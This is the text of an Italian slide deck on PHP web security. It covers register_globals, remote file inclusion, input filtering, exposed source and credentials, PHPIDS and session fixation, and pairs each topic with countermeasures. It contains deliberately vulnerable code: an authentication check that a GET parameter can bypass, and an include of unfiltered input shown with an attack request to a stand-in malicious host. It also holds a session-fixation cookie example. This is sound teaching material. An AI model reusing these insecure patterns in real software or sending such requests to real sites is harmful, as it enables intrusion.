2. Il php e la sicurezza
● La percentuale di software non sicuro scritto in PHP, sul totale di tutte
le falle nei software elencate dal Common Vulnerabilities and
Exposures, ammontava al: 12% nel 2003, 20% nel 2004, 28% nel
2005, 43% nel 2006, 36% nel 2007 e 33,8% nel primo trimestre del
2008.
● Le falle più comuni sono dovute al mancato adempimento delle best
practice nella programmazione e da vulnerabilità presenti in codice
scritto in versioni vecchie di PHP. (fonte: Wikipedia)
3. La direttiva register_globals
● Nel Php di base le variabili superglobali (per
intenderci, quelle relative a parametri GET,
POST, sessioni e cookies) devono essere
richiamate mediante appostiti array ($_GET['']
eccetera)
● Nelle vecchie versioni, oppure settando nel
php.ini la direttiva register_globals=on non c'è
differenza tra $_GET['pluto'] e $pluto
● Problemi anche con variabili non inizializzate
4. Register globals (2)
<?
//come si legge una variabile "particolare" adesso
echo $_POST["nomevariabile"];
//come la si leggeva prima (o con le RG settate ad ON)
echo $nomevariabile;
?>
<!-- Il form Html -->
<FORM METHOD="post" action="<?=$PHPSELF?>">
<input type="text" name="nomevariabile" />
</FORM>
<?
if ($password==$passwordgiusta) {
setcookie("autenticato","true");
}
//... ...
//Pensavo di leggere il contenuto del cookie
//Ma se un intruso chiama pagina.php?autenticato=true ...
//Purtroppo il sistema legge $autenticato come true!!!
if ($autenticato) {
//posso fare qualsiasi cosa
}
else {
//non posso fare niente
}
?>
If the deprecated register_globals directive is on, then variables_order also
configures the order the ENV, GET, POST, COOKIE and SERVER variables are
populated in global scope.
5. Remote file include
● Una delle comodità del Php è quella di poter includere file
esterni contenenti funzioni e procedure che ricorrono spesso;
vantaggi di questa pratica sono un considerevole risparmio di
tempo per il programmatore e un aumento di velocità
nell’esecuzione del codice.
● L'inclusione è molto usata nei software multilingua o strutturati a
moduli, in cui il file principale (solitamente index.php) richiama,
includendoli, i vari moduli del sistema.
● Se si lascia troppa libertà di inclusione si va incontro a enormi
falle di sicurezza
6. Remote file include (2)
<?php
//ipotizziamo ad esempio, pagina.php?lang=it
//oppure pagina.php?lang=en
include($_GET["lang"]."php");
//lang = en -> include("en.php");
//lang = it -> include("it.php");
?>
GET pagina.php?lang=http://sitocattivo.com/script
-> include(http://sitocattivo.com/script.php);
É possibile anche utilizzare la direttiva allow_url_fopen con il valore “OFF”
per disabilitare la possibilità di includere script remoti (cioè non appartenenti al
webserver su cui si sta programmando).
8. Filtraggio dell'input
● Diventa fondamentale in Php tenere sotto
controllo tutti i parametri che il client passa al
server (siano essi POST, GET, COOKIES)
● Bisogna controllare che ogni variabile sia quello
che ci aspettiamo
● Inizializzare sempre tutte le variabili
● Utilizzare strutture come switch...case o
funzioni specifiche come is_numeric e la
famiglia ctype_
10. Filtraggio dell'input (3)
● Escaping con funzioni esistenti
● Per l'interazione con i database (ad es. Mysql,
funzione mysql_real_escape_string())
● Per filtrare codice html (htmlentities(),
http://php.net/manual/en/function.htmlentities.ph
)
● Escaping personalizzati
● http://php.net/manual/en/function.str-
replace.php
11. Exposed Source Code
● Attenzione alle inclusioni di files (spesso
librerie) con estensione .inc
● Estensioni diverse da .php possono essere
inviate dal server direttamente al browser
senza essere interpretate
● Soluzioni:
● Usare sempre l'estensione php
● Modificare il file di configurazione del web server
● Posizionare i file .inc fuori dalla root directory del
web server
13. PHPIDS
● Esistono gli Intrusion Detection System che ci aiutano a
contrastare gli attacchi alle reti ed ai server
● E per il Php? PHPIDS è una libreria Php facilmente
integrabile che rileva i tentativi di attacco, basata sul
punteggio, chiamato “impatto”
● Currently the PHPIDS detects all sorts of XSS, SQL
Injection, header injection, directory traversal, RFE/LFI,
DoS and LDAP attacks.
● http://demo.php-ids.org/
14.
15. Session security
Ogni sessione che inizializiamo nelle applicazioni web viene
riconosciuta tramite il session id:
Solitamente questo session id viene propagato di
comunicazione in comunicazione (browser/server) in 2 modi:
● via URL (variabile GET con nome PHPSESSID)
● via COOKIE (di nome PHPSESSID)
Esistono tre modalità, da parte di un attaccante, per ottenere un
session id valido:
● Fixation (l'attaccante impone un sessid che la vittima
utilizza)
● Prediction (si tenta di indovinare un sessid valido)
● Hijacking (si intercetta il sessid)
16. Session security (2)
● Esempio fixation:
setcookie(“PHPSESSID”,“id_conosciuto”,time()
+3600,“/”, “www.example.com”)
● Contromisure Fixation
● session_regenerate_id()
● Contromisure prediction e Hijacking
● Utilizzo di “token” personalizzati
● Cifratura della connessione (https)
17. Exposed Access Credentials
Solitamente si usa...
<?php
$host = 'example.org';
$username = 'myuser';
$password = 'mypass';
$db = mysql_connect($host, $username, $password);
?>
Soluzione 1 (Apache)
<Files ~ ".inc$">
Order allow,deny
Deny from all
</Files>
18. Esposed Access Credentials (2)
Soluzione 3
Create a file, /path/to/secret-stuff, that only root can read (not nobody):
SetEnv DB_USER "myuser"
SetEnv DB_PASS "mypass"
Include this file within httpd.conf as follows:
Include "/path/to/secret-stuff"
Now you can use $_SERVER['DB_USER'] and $_SERVER['DB_PASS'] in your
code. Not only do you never have to write your username and password in any
of your scripts, the web server can't read the secret-stuff file, so no other users
can write scripts to read your access credentials (regardless of language). Just
be careful not to expose these variables with something like phpinfo() or
print_r($_SERVER).